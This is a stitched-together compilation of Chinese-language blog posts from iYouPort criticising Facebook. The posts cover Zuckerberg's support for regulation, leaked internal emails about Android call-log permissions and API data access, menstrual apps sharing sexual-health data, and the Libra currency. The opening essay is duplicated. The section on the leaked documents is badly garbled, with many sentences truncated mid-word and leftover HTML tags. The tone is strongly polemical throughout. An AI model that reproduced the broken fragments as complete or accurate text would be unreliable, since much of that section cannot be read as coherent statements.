对扎克伯格来说幸运的是，由于政府监管的经济现实，他既可以支持政府监管，也可以借机从中获利。

那些熟悉政府监管影响的人基本不会对听到一位亿万富翁CEO表示支持而感到惊讶。拥有主导市场份额的大公司长期以来一直与政府的监管同步，因为监管通常有助于这些巨头公司为自己创造和巩固垄断权。在中国这种状况再熟悉不过了。

在这里，具体来说，政府监管有三种方式帮助 **Facebook**。

1、首先是监管规则带给 Facebook 更多的垄断权

几乎所有评论家都认为 Facebook 是一个自然垄断者。也就是说，Facebook 在市场上占据主导地位，它可以利用其所谓的市场力量来阻止竞争对手。我们被告知 Facebook 有这么多用户，对它来说没有任何严肃的竞争是可能的。

还记得 MySpace 吗？人们曾经说它与社交媒体平台有着完全相同的东西。2007年卫报曾经问过 “Myspace 会失去垄断地位吗？”Xerox 曾经是一个技术寡头。它现在几乎消失了。

显然，卫报问题的答案是肯定的。同样这正是我们现在听说的关于 Facebook 垄断的故事。然而，现实情况是，除非政府人为地设置进入壁垒，否则任何公司都不能安稳地处于主导地位。其他有新想法的公司会层出不穷，威胁到老公司的主导地位。

从像 Facebook 这样的公司的角度来看，这个问题的答案就是：为小型创业公司和潜在的竞争对手制造昂贵和困难的东西—门槛。

Facebook 知道，如果政府的管制法规增加，科技公司开展业务的成本就会加大。与较小的初创公司相比，较大的公司将能够更容易地处理这些额外成本。简单说就是“我才行你不行”。

大公司可以更容易地获得融资。他们拥有更多的股权。他们已经拥有相当大的市场份额，并且能够更加保守。大公司可以吸收高昂的劳动力成本、更高的法律成本以及监管带来的更高的固定成本。高度监管的环境是反启动、反创业的环境。

2、其次，扎克伯格和他的 Facebook 会“帮助”政府撰写新规则

在很早很早以前的时代，许多人可能会将扎克伯格的新宣言视为真诚的。幸运的是，我们现在生活在一个愤世嫉俗的时代里，甚至 Mashable 的记者都知道这游戏是怎么玩的。 Mashable 的 Karissa Bell 写道：

扎克伯格的建议似乎很自然，但重要的是要记住，他的想法当然是为了帮助 *Facebook* 自己而设计的.....通过宣传社交网络围绕政治广告和内容审核的现有工作，*Facebook* 有机会确定其他行业也必须遵守的规则。

扎克伯格与政府监管理念达成和平的部分原因是，在编写新法规时，**Facebook** 将成为谈判桌上最强大的团体之一。换句话说，**Facebook** 将能够确保新规则有利于 **Facebook** 而不利于任何竞争对手。

其实这个游戏这在监管计划中是很常见的，被称为“监管捕获”。当建立新的监管机构来监管 Facebook 和其他主导公司时，监管机构决策中利害关系最多的那一方最终就会控制机构本身。立法者、监管者和说客之间的旋转门实在太常见了。

而且你也可以肯定，一旦发生这种情况，该行业将对寻求进入市场的新创新公司关闭大门。监管机构将以新企业家和新竞争者为代价确保现状提供者的健康。

此外，正如经济学家 Douglass North 所指出的那样，监管制度并没有提高效率，而是为政治权力人士的利益服务：“制度不一定甚至基本不是为了提高社会效率；相反，它们，或者至少是正式的那些规则，只是为了有利于那些具有讨价还价能力的人的利益。“

毕竟，普通人在监督新法规、与监管机构保持联系以及试图影响监管程序方面有多大的激励？激励几乎为零。而另一方面，受监管公司的激励是非常大的。

一个小小的创业公司不仅缺乏在规则制定领域挑战 Facebook 的资源和政治实力，而且这些小公司也不会长大到足以被视为任何级别的重要“利益相关者”。因此，Facebook 将通过其监管权力继续比其较小的竞争对手拥有更多的权力。

3、降低 Facebook 面临的法律风险

Facebook 支持监管的另一大好处是，当出现问题时，就可以利用政府监管来限制 Facebook 的法律责任。

换句话说，当 Facebook 使用其平台删除 Facebook 员工不同意的用户的帖子和限制其可见性时，Facebook 可以通过自身的法律和公共关系影响来保护自己。

正如 FTC 专员 Brendan Carr 所说，**Facebook** 提出的监管议程将允

许它“外包审查制度”。这不仅会让联邦政府直接决定哪些意见和想法应该从技术平台中消除，还能让 Facebook 假装成一个无辜的第三方：“不要责怪我们删除你的帖子，政府让我们做的！”Facebook 可以这样说。

此外，像 Facebook 这样的公司可以采取监管措施来保护公司免受诉讼。比如 Facebook 可能因使用其平台危害家庭虐待受害者或自杀受害者而被起诉，无论公司是否应该被判有罪，这都将是一个复杂的法律问题，根据具体情况而定。但是，政府监管都可以用来完全规避这一过程，并为滥用权力的巨头公司的利益服务。

Murray Rothbard 解释了这一现象：

例如，假设 *A* 建造了建筑物，将其出售给 *B*，并且它立即倒塌了。 *A* 应承担伤害 *B* 的人身和财产损失的责任，并且责任应在法庭上得到证实，然后法院可以执行适当的归还和惩罚措施。但是，如果立法机关以“安全”的名义强制执行建筑规范和检查，那么无辜的建筑工人（即那些没有令建筑物倒塌的工人）会受到不必要的且往往代价高昂的规则的制裁，政府无需证明犯罪或损害。他们没有犯下任何侵权行为或犯罪行为，而是受到了专制政府机构规则的约束。然而，一个符合行政检查和安全法规却建造了倒塌建筑的工人经常被法院豁免。毕竟，他没有不遵守政府的所有安全规则，他获得了当局的预先许可。

让我们将其应用于科技行业：公司 A 是一家新创公司，它开发了一种以满足消费者的方式赚钱的盈利模式，并且不会让用户受到任何不受欢迎的骚扰、删除或侵犯隐私的行为。与此同时，Facebook（公司 B）继续利用其在监管流程中的主导地位来制定门槛很高的法规，以防止新创企业取得很大进展。然而，这些相同的法规继续允许侵犯隐私，以及其他滥用。

因此，结果是：**A**公司无法部署其新的、创造性的、非滥用模型，因为监管成本太高。同时，**Facebook** 可以继续危及和滥用权力侵害用户，因为法规允许。此外，Facebook 在诉讼中享有更高的免疫力，因为它符合法规。

简而言之，扎克伯格的支持监管立场只是支持扎克伯格自己的立场。通过进一步政治化和规范互联网，政策制定者将协助大公司及其亿万富翁所有者破坏竞争，并确保公众没的选。〇

3 REASONS WHY FACEBOOK’S ZUCKERBERG WANTS MORE GOVERNMENT REGULATION. By further politicizing and

regulating the internet, policymakers will assist large firms—and their billionaire owners—in crushing the competition, and ensuring the public has fewer choices.

原文

拥护的背后 - iYouPort

关于Facebook-这不只是一家公司

不要被某些家伙义正词严的表面现象所蒙骗，他们所做的一切不论看起来多么的光明正大，都不过是为了满足其自己的利益。拥护监管的家伙在偷偷耍着自己的小心机。拥护的背后是什么？

「图」

「图」

谁会拥护政府的监管？不要被某些家伙义正词严的表面现象所蒙骗。

扎克伯格希望政府更多地监管社交媒体。他在主流媒体上说，“我认为我们需要政府和监管机构发挥更积极的作用。通过更新互联网规则，我们可以保留最好的信息—— 人们表达自己和企业家建立新事物的自由—— 同时保护社会免受更广泛的危害。”

他指的是一种什么样的监管？具体而言，扎克伯格总结道：“我们需要在四个方面进行新的监管：有害内容、选举完整性、隐私、和数据可移植性。”

他希望更多国家采用欧盟通用数据保护条例的版本。

其实根本无需过多解释，任何听到扎克伯格这样言论的人都应该立即假设这种新的监管支持可以帮助 Facebook 赚更多钱。毕竟，就这个家伙反复向他的客户和国会谎报谁可以访问用户的个人数据、以及如何使用数据;他是一个曾经厚颜无耻地将 Facebook 用户称为“Dumb F-cks”的人；Facebook 对其视频平台的收看率数据向客户撒谎（是客户不是用户），更多 shit 详见 IYP 类目“关于 Facebook”—它不只是一家公司。

难道扎克伯格现在自愿想为人道主义目的牺牲自己的一些权力和金钱？别做梦了（尽管像 Mark Warner 这样的政治家似乎只是以表面

价值看待它）。

对扎克伯格来说幸运的是，由于政府监管的经济现实，他既可以支持政府监管，也可以借机从中获利。

那些熟悉政府监管影响的人基本不会对听到一位亿万富翁CEO表示支持而感到惊讶。拥有主导市场份额的大公司长期以来一直与政府的监管同步，因为监管通常有助于这些巨头公司为自己创造和巩固垄断权。在中国这种状况再熟悉不过了。

在这里，具体来说，政府监管有三种方式帮助 **Facebook**。

1、首先是监管规则带给 Facebook 更多的垄断权

几乎所有评论家都认为 Facebook 是一个自然垄断者。也就是说，Facebook 在市场上占据主导地位，它可以利用其所谓的市场力量来阻止竞争对手。我们被告知 Facebook 有这么多用户，对它来说没有任何严肃的竞争是可能的。

还记得 MySpace 吗？人们曾经说它与社交媒体平台有着完全相同的东西。2007年卫报曾经问过 “Myspace 会失去垄断地位吗？”Xerox 曾经是一个技术寡头。它现在几乎消失了。

显然，卫报问题的答案是肯定的。同样这正是我们现在听说的关于 Facebook 垄断的故事。然而，现实情况是，除非政府人为地设置进入壁垒，否则任何公司都不能安稳地处于主导地位。其他有新想法的公司会层出不穷，威胁到老公司的主导地位。

从像 Facebook 这样的公司的角度来看，这个问题的答案就是：为小型创业公司和潜在的竞争对手制造昂贵和困难的东西—门槛。

Facebook 知道，如果政府的管制法规增加，科技公司开展业务的成本就会加大。与较小的初创公司相比，较大的公司将能够更容易地处理这些额外成本。简单说就是“我才行你不行”。

大公司可以更容易地获得融资。他们拥有更多的股权。他们已经拥有相当大的市场份额，并且能够更加保守。大公司可以吸收高昂的劳动力成本、更高的法律成本以及监管带来的更高的固定成本。高度监管的环境是反启动、反创业的环境。

2、其次，扎克伯格和他的 Facebook 会“帮助”政府撰写新规则

在很早很早以前的时代，许多人可能会将扎克伯格的新宣言视为真诚的。幸运的是，我们现在生活在一个愤世嫉俗的时代里，甚至 Mashable 的记者都知道这游戏是怎么玩的。 Mashable 的 Karissa Bell 写道：

扎克伯格的建议似乎很自然，但重要的是要记住，他的想法当然是为了帮助 *Facebook* 自己而设计的.....通过宣传社交网络围绕政治广告和内容审核的现有工作，*Facebook* 有机会确定其他行业也必须遵守的规则。

扎克伯格与政府监管理念达成和平的部分原因是，在编写新法规时，**Facebook** 将成为谈判桌上最强大的团体之一。换句话说，**Facebook** 将能够确保新规则有利于 **Facebook** 而不利于任何竞争对手。

其实这个游戏这在监管计划中是很常见的，被称为“监管捕获”。当建立新的监管机构来监管 Facebook 和其他主导公司时，监管机构决策中利害关系最多的那一方最终就会控制机构本身。立法者、监管者和说客之间的旋转门实在太常见了。

而且你也可以肯定，一旦发生这种情况，该行业将对寻求进入市场的新创新公司关闭大门。监管机构将以新企业家和新竞争者为代价确保现状提供者的健康。

此外，正如经济学家 Douglass North 所指出的那样，监管制度并没有提高效率，而是为政治权力人士的利益服务：“制度不一定甚至基本不是为了提高社会效率；相反，它们，或者至少是正式的那些规则，只是为了有利于那些具有讨价还价能力的人的利益。“

毕竟，普通人在监督新法规、与监管机构保持联系以及试图影响监管程序方面有多大的激励？激励几乎为零。而另一方面，受监管公司的激励是非常大的。

一个小小的创业公司不仅缺乏在规则制定领域挑战 Facebook 的资源和政治实力，而且这些小公司也不会长大到足以被视为任何级别的重要“利益相关者”。因此，Facebook 将通过其监管权力继续比其较小的竞争对手拥有更多的权力。

3、降低 Facebook 面临的法律风险

Facebook 支持监管的另一大好处是，当出现问题时，就可以利用政府监管来限制 Facebook 的法律责任。

换句话说，当 Facebook 使用其平台删除 Facebook 员工不同意的用户的帖子和限制其可见性时，Facebook 可以通过自身的法律和公共关系影响来保护自己。

正如 FTC 专员 Brendan Carr 所说，**Facebook** 提出的监管议程将允许它“外包审查制度”。这不仅会让联邦政府直接决定哪些意见和想法应该从技术平台中消除，还能让 Facebook 假装成一个无辜的第三方：“不要责怪我们删除你的帖子，政府让我们做的！”Facebook 可以这样说。

此外，像 Facebook 这样的公司可以采取监管措施来保护公司免受诉讼。比如 Facebook 可能因使用其平台危害家庭虐待受害者或自杀受害者而被起诉，无论公司是否应该被判有罪，这都将是一个复杂的法律问题，根据具体情况而定。但是，政府监管都可以用来完全规避这一过程，并为滥用权力的巨头公司的利益服务。

Murray Rothbard 解释了这一现象：

例如，假设 *A* 建造了建筑物，将其出售给 *B*，并且它立即倒塌了。 *A* 应承担伤害 *B* 的人身和财产损失的责任，并且责任应在法庭上得到证实，然后法院可以执行适当的归还和惩罚措施。但是，如果立法机关以“安全”的名义强制执行建筑规范和检查，那么无辜的建筑工人（即那些没有令建筑物倒塌的工人）会受到不必要的且往往代价高昂的规则的制裁，政府无需证明犯罪或损害。他们没有犯下任何侵权行为或犯罪行为，而是受到了专制政府机构规则的约束。然而，一个符合行政检查和安全法规却建造了倒塌建筑的工人经常被法院豁免。毕竟，他没有不遵守政府的所有安全规则，他获得了当局的预先许可。

让我们将其应用于科技行业：公司 A 是一家新创公司，它开发了一种以满足消费者的方式赚钱的盈利模式，并且不会让用户受到任何不受欢迎的骚扰、删除或侵犯隐私的行为。与此同时，Facebook（公司 B）继续利用其在监管流程中的主导地位来制定门槛很高的法规，以防止新创企业取得很大进展。然而，这些相同的法规继续允许侵犯隐私，以及其他滥用。

因此，结果是：**A**公司无法部署其新的、创造性的、非滥用模型，因为监管成本太高。同时，**Facebook** 可以继续危及和滥用权力侵害用户，因为法规允许。此外，Facebook 在诉讼中享有更高的免疫力，因为它符合法规。

简而言之，扎克伯格的支持监管立场只是支持扎克伯格自己的立场。

通过进一步政治化和规范互联网，政策制定者将协助大公司及其亿万富翁所有者破坏竞争，并确保公众没的选。〇

3 REASONS WHY FACEBOOK'S ZUCKERBERG WANTS MORE GOVERNMENT REGULATION. By further politicizing and regulating the internet, policymakers will assist large firms—and their billionaire owners—in crushing the competition, and ensuring the public has fewer choices.

原文

新曝光的文件显示：Facebook 从来都不值得你信任! - iYouPort

关于Facebook-这不只是一家公司

我们都认为更新是为了更安全；但是 facebook 的更新是为了更好地监视你。曝光的内部谈话记录揭示了该巨头令人震惊的事实。是时候认清真相了

又是新的一周，又是一系列事件提醒我们，尽管 Facebook 乐于标榜自己为一家“乐观的”公司，仅仅单纯地帮助用户联络全世界，但现实情况则完全不同。本周的这些提醒信息包括一系列新曝光的文件，这些文件建议公司在明知道会损害用户和破坏创新的情况下实现某些特性和规章。

上周，一位英国议会成员公布了来自 Facebook 的一批文件其来源为一个叫做 Six4Three 的公司的部分法律诉讼程序。这些电子邮件，备忘录，以及幻灯片曝光了 Facebook 在 Cambridge Analytica 丑闻事件发生之前、期间及之后发生的不为人知的事。

以下内容是这250页左右的文件中的关键部分。

⚠ **Facebook** 利用新的 **Android** 更新以更加恐怖的方式窥探你的生活隐私

此文件包括一些内部的讨论，通过这些讨论可以看到 Facebook Messenger 暗中记录 Android 用户语音通话和文字信息历史的行为。今年春天某位用户发现了 Messenger 的这种行为。此事件紧随 Cambridge Analytica 新闻，导致了公众的愤怒。Facebook 以“真实性调查” 的新闻稿件进行回应，坚称 Messenger 从未在未取得用户授权的情况下收集此类数据。

然而，根据最新泄漏的 2015 年的文件，Facebook 雇员讨论了强制用户升级到一个新的、更容易被窃取隐私的 Messenger 版本而“完全不会触发 Android 的权限对话框“的计划，尽管他们意识到这类滥用应

用程序功能的行为“从 PR 的角度来看是一个风险及高的事情”。

「图」

「图」

上图中的内容是：

展示 172—探讨关于 Android “读取通话日志“权限的更改

来自 2015 年2月4日的邮件

Michael LeBeau—‘嘿，伙计们，你们所有人都知道成长团队

计划本月底在 Android 上发布权限更新。他们将要增加

“读取通话日志“的权限，这会在更新的时候触发 Android 的

权限对话框，并要求用户接受此更新。他们将会在 NUX 中提供

一个应用程序内建选项，增加新的特以便让你向 Facebook

不停地上传你的短信息和通话日志的历史记录，以改进诸如

PYMK、系数计算、信息流排序这类行为。从 PR 角度来看，这

是一件风险极高的事情，但看起来成长团队将会带头去做。‘

Yul Kwon—‘成长团队现在正在探索一种途径，暂时只请求

读取通话日志的权限，并且不触及其他任何权限的请求。

‘基于他们的初始测试结果，这样做看上去可以让我们在完全

不触发 Android 权限对话框的情况下为用户实施升级。

‘这仍将是一个突破性的更改，所以用户将不得不点击升级，

但是不会有权限对话框的画面。‘

诸如此类围绕电话号码和联系人信息的漠视用户许可的行为，让我们回想起稍早时候关于揭露 Facebook 滥用用户的两步认证电话号码作为广告投放目标的研究和调查。令人不安的是其中提到将电话和文字

消息历史记录提供给可怕的臭名昭著的 PYMK—— 或称之为“你可能知道的人(People You May Know)“，用于好友推荐。

⚠ “我想我们是把数据泄露给了开发者”

这些文件的中心主题是关于 Facebook 应该如何选择以使其他开发着使用其用户数据。他们透露，马克·扎克伯格很早就已认可访问 Facebook 的数据对其他公司来说是极其

有价值的，而且 Facebook 领导层决心权衡其价值。

一些上下文解释：2010年，Facebook 启用了图形应用程序接口 1.0 版，这是一套非常强大且包容的工具，第三方开发者可以利用此工具访问有关应用程序用户及其好友的数据。

数十封电子邮件告诉我们公司是如何讨论利用这些数据的访问获利的。公司决策者准备了几种不同的方案，从向特定开发者按用户访问量收费，到要求“ **[Facebook]** 不想与其分享数据”的应用程序每年在 **Facebook** 的广告平台上花费特定的钱数，否则将失去他们的数据。

「图」

「图」

NEKO is Facebook’s acronym for its mobile app-install ad system.

上图中的内容：

关键点：1/ 找出其他我们不想与之分享数据的应用程序，

例如协议已经过期，并查明他们在 NEKO 上是否有花费。

与应用程序开发者其中之一联系，指出如果不花钱，

这些权限将会被取消。联系其他应用程序开发者，指明

需要每年在 NEKO 上支付 $250k 才可以访问这些数据。

NEKO 是 Facebook 移动平台应用程序广告系统的缩写。「/pre」

「p id="d564" class="graf graf--p graf-after--pre"」用户

当然，就在两年之后，那些“泄露”真的发生了：某隐蔽的“调查问卷”应用程

''⚠ “白名单”与用户数据的访问''

2015 年，一部分为了回应关于隐私的顾虑，Facebook 迁移到了更严格的

然而，文件指出某些公司被列入了“白名单”，在应用程序接口更改后仍然持

被授权进入“白名单”的公司在应用程序接口更改后获得了更广泛的好友数据

绝大多数小型应用程序，以及大一些的公司如 Ticketmaster 被决绝获得

''⚠ 将用户数据作为反竞争杠杆''

此文件显示，在 Facebook 应用程序接口变更之前和之后，公司有意授予

“行，就这么做。”

「图」

「图」

From: Dan Rose

Sent: Thursday,January 2013 12:21 PM

To: Mike Vernal; Justin Osofsky; Mark Zuckerberg; Kevin Systrom; Douglas Purdy; Dan

Rose

Subject: Message summary [id.406139916141381]

Justin Osofsky:

」Twitter 今天发布了 Vine，它可以让你通过录制多个短视频片段制作一个单独的6秒钟的视频。

作为其 NUX 的一部分，你可以通过 FB 寻找好友。如果没有任何人反对，我们将在今天关闭

他们的好友 API。

」

」我们已经准备好应对 PR，我会告知 Jana 我们的决定。

Mark Zuckerberg:

」行，就这么做。

「p id="ae0a" class="graf graf--p graf-after--p"」「stro

「p id="679d" class="graf graf--p graf-after--p"」这些内

「img class="size-full wp-image-974" src="https://www.iy

「p id="f178" class="graf graf--p graf-after--figure"」

「p id="8a40" class="graf graf--p graf-after--p"」```

"我们试图让用户分享他们想要分享的一切，而且是在 Facebook

上分享。有时候鼓励人们分享东西最好的方式是开发者针对此类

内容创建特定的目标应用程序或网络，为了可社交而引入 Facebook。

然而，这也许对世，Facebook 却坚定的拒绝了用户对自己在 Facebook

在 2012年11月19日的一封电子邮件邮件中，扎克伯格概述了公司的想法：

着重强调"我们的"。

作为一家公司优先考虑对自身及盈利有益的事情，这并不奇怪，但是当 Fac

''⚠ 利用虚假的用户安全策略窥探竞争对手''

Facebook 在 2013 年秋收购了 Onavo Protect，一款"可靠的" VPN

新公布的幻灯片中建议 Facebook 利用Onavo 估测与其存在竞争关系的社

「图」

「图」

A “highly confidential” slide showing Onavo stats for ot

上图：一个“高度机密”幻灯片显示 Onavo 对其他主要的应用程序进行统计

八月份，苹果在其应用程序商店中[[最终对 Onavo 下达了禁令|https://

''⚠ 除了明面上出售你的数据之外，其他什么都做''

作为对这些文件的回应，几家 Facebook 新闻的[[声明|https://newsr

这些辩护都失败了，因为它们没有触及到核心问题。的确，Facebook 不直

无论扎克伯格如何解释，你的数据都处于 Facebook 商业模式的核心地位。

''你是—— 而且一直以来都是—— Facebook 最具价值的产品''。■

*延伸阅读：‘Creepy Line’ 是导演 MA Taylor 的新纪录片，现在正在

<a class="tc-tiddlylink-external" href={{!!url}} rel="no

是谁正在围观你的性生活？ - iYouPort

关于Facebook-这不只是一家公司

你最好的朋友可能都不知道你上一次发生性行为的具体时间，但是，**Facebook** 知道。这件事的危险是什么？

「图」

「图」

根据英国隐私监督机构 Privacy International 的最新报告，至少有两个月经跟踪应用程序 Maya 和 MIA Fem 正在与 Facebook 和其他实体分享用户性健康的详细信息。

在某些情况下，⚠这些数据包括：用户上次发生性行为的时间、使用的避孕方式、情绪状态、以及是否排卵。

在雇主、保险公司和广告商可以使用数据广泛区分或定位每个人的监视资本主义时代，这些调查结果，再一次，引发了对大多数私人信息安全性的严重质疑。

这些信息通过 Facebook 软件开发套件与社交媒体巨头共享，该软件开发套件允许开发人员为特定操作系统创建应用程序、跟踪分析，并通过 Facebook 的广告网络将其应用程序货币化。

Privacy International 发现，一旦用户在手机上安装了应用并打开了应用程序，**Maya** 和 **MIA** 就开始与 **Facebook** 共享数据，甚至在签署隐私政策之前。

Facebook 发言人 Joe Osborne 表示，“广告商无法访问”这些应用程序共享的敏感健康信息。他在一份声明中表示，当广告商按兴趣选择目标用户时，Facebook 的广告系统“不会利用在其他应用或网站上收集到的关于人们的活动信息”。

Maya 和 MIA 等跟踪应用程序已经成为有趣的、友好的伙伴，可以深入了解生育和怀孕这个令人生畏的世界。

并且，它们还可用于更一般性的跟踪健康、情绪和其他私密数据。

但是，许多这类应用程序不受大多数健康类相关数据保护规则的限制。健康跟踪数据是极为敏感的私人数据。

这引起了明显的隐私问题，⚠因为一些这类应用程序已经成为雇主和医疗保险公司强有力的监控工具，雇主打着“健康”的旗号推动收集有关其雇员私人生活的更多数据。

- 《你正在为一个贴身老大哥努力工作：地狱的新常态》

此外，正如隐私国际组织所指出的那样，这些高度敏感的数据正在被更广泛地共享，以用户几乎无法想象的程度。

这类事件已多次被曝光。因此，许多女性表示他们已经制定了使用这类应用程序的策略，而不会泄露所有最敏感的信息。

这些策略包括：使用假名，仅记录分散的细节，甚至输入不正确的数据。

用户和专家都担心这些数据可能会暴露在安全漏洞中，或者被雇主和保险公司用来通过增加保险费、或拒绝提供领导职位以歧视女性。

精神病学家、非营利性患者隐私权创始人 Deborah Peel 表示，人们希望他们的健康数据受到与医生办公室健康信息相同程度的法律保护，但许多应用程序不受相同规则的约束。

“大多数人都希望自己做出关于性生活的知识的决定，关于它是否可以被共享，然而，现在我们没有能力做到这一点”，Peel 说。

Facebook是全球最大的社交媒体平台，拥有12亿日常用户，要求用户信任它的信息比过去任何时候都要多。

9月，该公司在美国推出了 FacebookDating，这是一项红娘服务，根据偏好、兴趣和 Facebook 的活动模式，帮用户表达潜在的爱情。

与此同时，Facebook 近年来一直因涉及错误信息、虚假账户和违反信任的丑闻而受到抨击。包括著名的剑桥分析公司丑闻。

Facebook表示其服务条款禁止应用程序开发人员共享健康类的高度敏感数据，并且 Facebook 说它已与 Maya 和 MIA 联系，以便在声明中通知他们可能违反了哪些条款。

Facebook还表示，虽然它有检测系统可以自动检测和删除应用程序共享信息中包含的社会保险号和密码等信息，但仍有必要“检测和阻止共享更多的敏感信息” ……

开发 Maya 的 Plackal Tech 在其对 Privacy International 的声明中称，它将从新版本的服务中删除 Facebook 软件开发工具包。

MIA背后的公司 Mobapp Development Limited 没有回应，该公司没有立即发表评论。

⚠请注意每一次被曝光后他们都能立即做出专业级的公关，然后再继续被曝光？您是否还能数得清究竟出现过多少次曝光-公关？

永远记得监视资本主义的本性。

不要相信他们，不要把您的任何真实信息放在互联网上，这才是最靠谱的解决方案。〇

Facebook May Know the Last Time You Had Sex, Thanks to Sexual Health Apps, Study Claims

原文

杀死天秤座在萌芽状态 - iYouPort

关于Facebook-这不只是一家公司

“天秤座”不是真正的加密货币，它只是寡头公司拥有的另一个数据库；部分中国知识分子对“天秤座”的崇拜令人恐惧

「图」

「图」

Libra.org 于6月中旬发布的白皮书为单一的全球性货币设计了一个巧妙的系统，由一个广泛的、从头开始构建的基础设施支持，这将允许几乎无摩擦的交易。

这份白皮书读起来就像许多其他白皮书一样，充满了像“区块链”、“分散化”、“公链”这样的词语。

但是，天秤座并不是真正的分散化或无需许可的。从根本上它不是区块链，它只是一个数据库。

基本上只是公关。

Libra 的核心论点非常巧妙：“为17亿被剥夺了进入任何银行系统的人提供廉价资本和交易系统”。

他们被称为“无银行账户”人士。

这份白皮书充满了关于帮助“无银行账户”人士获得融资的典型噪音。

在这方面，天秤座实际上可以成功。如今世界上几乎所有人口都拥有智能手机，智能手机是世界上许多最贫困人口首次获得互联网接入的方式，并能够在其附近进行支付。

天秤座无疑会让他们轻松做到这一点。

阅读白皮书，你会误认为这是 Facebook 的唯一目标。

然而，这实际上是关于创建一个储备金和支付系统，利用 Facebook 和 WhatsApp 拥有的庞大用户群。您将能够通过 WhatsApp 或 Facebook Messenger 汇款。

这也很容易解释为什么这份白皮书是在亚洲时区的白天发布的。

它清楚地表明了 Facebook 认为其市场在哪里。

很简单，WhatsApp 在印度拥有巨大的用户群，据信它拥有多达3亿用户。如果你能让他们发送金钱和信息给你，其潜力清晰可见。

比特币，尽管取得了成功，却未能做到的一件事就是：让人们用比特币来思考。

您将始终看到美元、英镑或等值的欧元。人们用美元、欧元或英镑来思考。

让买家和卖家用“天秤座”来思考也会很难。并且会产生手续费和结售汇的烟幕。

总之，你能在这个项目中找出一万个漏洞。其他人也能，这非常容易。

但是必须警告，这也许只是一个开始。**BigTech** 不会停留于此。

这些寡头以区块链为幌子进行加密货币炒作只是为了提升他们的围墙花园并开辟新的捞钱途径；在不久的将来，Facebook、苹果和亚马逊都将努力让自己成为银行。

这是超级集中化。请记得，它只是寡头公司拥有的另一个数据库。您的匿名已经消失了，您的所有权受到质疑。

1984正在敲门。无人问津。

人们应该开始了解这意味着什么。

Frederic Filloux 认为“天秤座”根本不会发生，不应该发生。你觉得呢？以下是他的文章。

「图」

「图」

Libra 很聪明。它应该是一个全球金融体系，虽然它还不是一个银行。

因此，它成功逃脱了这些机构的相关规定。

同样，它本身并不是一种新货币，它的创造并不影响全球货币供应；它是一组由一系列强大资产支持的未指明货币—Libra Reserve—由政府证券和银行存款构成。

以上所有都应该确保稳定性。

然而真相是：没有人知道天秤座会有多稳定；甚至 Facebook 在其系统介绍中也承认，天秤座确实会出现波动。

简而言之，天秤座是一个典型的 **Facebook** 概念：易于掌握，看起来对许多人有益，尤其是所谓的最需要的人。

它的规模会很大。如果西方存款人只将其银行储蓄的十分之一用于天秤座，其储备基金的价值将达到**2**万亿美元。

顺便说一句，这将使天秤座成为债券市场上最大的单一参与者。

“Quid lucrum istic Facebook est”

Facebook 在其中捞到了什么？

有两部分：

1、它已经赚了天秤座的钱。每个早期的支持者都支付了1000万美元。

对于最初的27个合作伙伴，已经转化为2.7亿美元。

到2020年推出时，天秤座预计将招募100个会员。

假设他们支付相同的价格，一次的费用就将是惊人的十亿美元。

对于一个主要是以损失厌恶为动机的客户来说这也许不坏；但是，在未来的角度上，这是在用微不足道的小利换来庞大的噩梦。

2、在全球交易系统几乎无摩擦的承诺中，Facebook 的关键词

是“nearly”。

这可不是 nearly。在拥有24亿人口的专属客户群中，每用户平均收入 ARPU 的微小变化会对公司的收入产生巨大影响。

目前，Facebook 的每用户平均收入（ARPU）和收入分配如下所示：

「图」

「图」

显然对于西方，ARPU 的向上移动具有挑战性；天秤座的主要目标是最后两条线：亚太地区和 ROW。

在这两个问题上，如果天秤座能够只按每年每用户一美元移动一针，它就将转化为**14**亿美元的额外收入，很可能完全是盈利，因为运营结构的成本大部分会被企业会员支付的费用所抵消。

这仅仅是最低垂的果子。

我们不是在谈论西方市场或难以捉摸的所谓“无银行账户”。

前者很难评估，因为西方人比菲律宾、巴西或印度（WhatsApp 最大的市场）的人更加怀疑 **Facebook**。

无论如何，我们可能会谈到 Facebook 的盈利和亏损（2018年该公司的净收入为22亿美元）获得额外的数十亿美元可能会出现在2021财年……

但是，无论数学看起来多么吸引人，都无可否认，这只是纸上的大饼。

防线 ——

在天秤座的发展中，Facebook 面临三条阻力：监管机构、金融机构和公众信任。

1、监管机构在西方比其他地方更强大。

美联储、欧洲中央银行和其他国家已经不打算让天秤座顺利流通。

作为金融体系稳定的监护人，他们并不热衷于看到这样一个庞大的玩家在没有任何适当监管的情况下出现。

至于欧盟监管机构，他们对此事一直保持沉默。

负责维护欧盟公平竞争的著名反科技寡头垄断专员玛格丽特维斯塔特（Margrethe Vestager）也什么都没说出来（相比 Facebook 或亚马逊，她更沉迷于针对谷歌）。

即使 Vestager 目前正在忙于竞选欧盟委员会主席，但是，忽视这样一个太过典型的滥用权力的案例，对她的身份来说也是非常奇怪的。

2、传统的金融机构有很多损失，但不会轻易放弃。

零售银行业是一个很容易受到严重破坏的行业。它提供繁重而平庸的服务，并且显然难以发展。

他们的运营成本很高，而且他们的表现指标很糟糕。

更具体地说，天秤座的崛起通过吸走大量的 Facebook 用户很容易损害银行的资产负债表。

仅在美国加拿大和欧洲市场，天秤座就将有超过6亿的潜在客户，比摩根大通等网上银行大**12**倍。

此外，金融行业中没有人希望看到如此规模的新人进入证券市场。

除了信用卡之外，天秤座的第一批支持者中显然没有金融部门，这表明它将尽浑身解数为保持现状而斗争。

Facebook：“相信我。把你的数据给我。把你的钱给我”

3、天秤座部署的最大障碍仍然是人们对 Facebook 越来越多的不信任，特别是在西方世界。

最后，问题归结为：我们是否想将自己的钱交给以下这样的公司：

-一个监视资本主义寡头？

-在社交网络和一个名为 Calibra 的瑞士非营利组织管理的电子钱包之间会有一道隔离墙吗？如你所知就像 Instagram 或 WhatsApp 与 Facebook 之间的关系？

-一家一直在使用强大的监视工具监视我们所有人的情绪、健康问题、政治背景和性取向的公司？

-一个永远不会更改其商业规则并无需考虑其客户或合作伙伴的公司？

-一个内部施行独裁统治、没有任何异议的对抗、对中国领导者表达个人崇拜的、新兴超级监视社会的宏伟建筑师？

-一个拥有无上权力的数字极权？

……

我怀疑任何人会在此点头。

天秤座根本不应该发生。但这将是一场艰苦的战斗。〇

关联本网“关于 Facebook”类目 —— 这不仅是一家公司。

原文

深层政治：Facebook金字塔的人形肌理 —— 仅仅依靠开源数据，扒开利维坦的内裤 - iYouPort

关于Facebook-这不只是一家公司

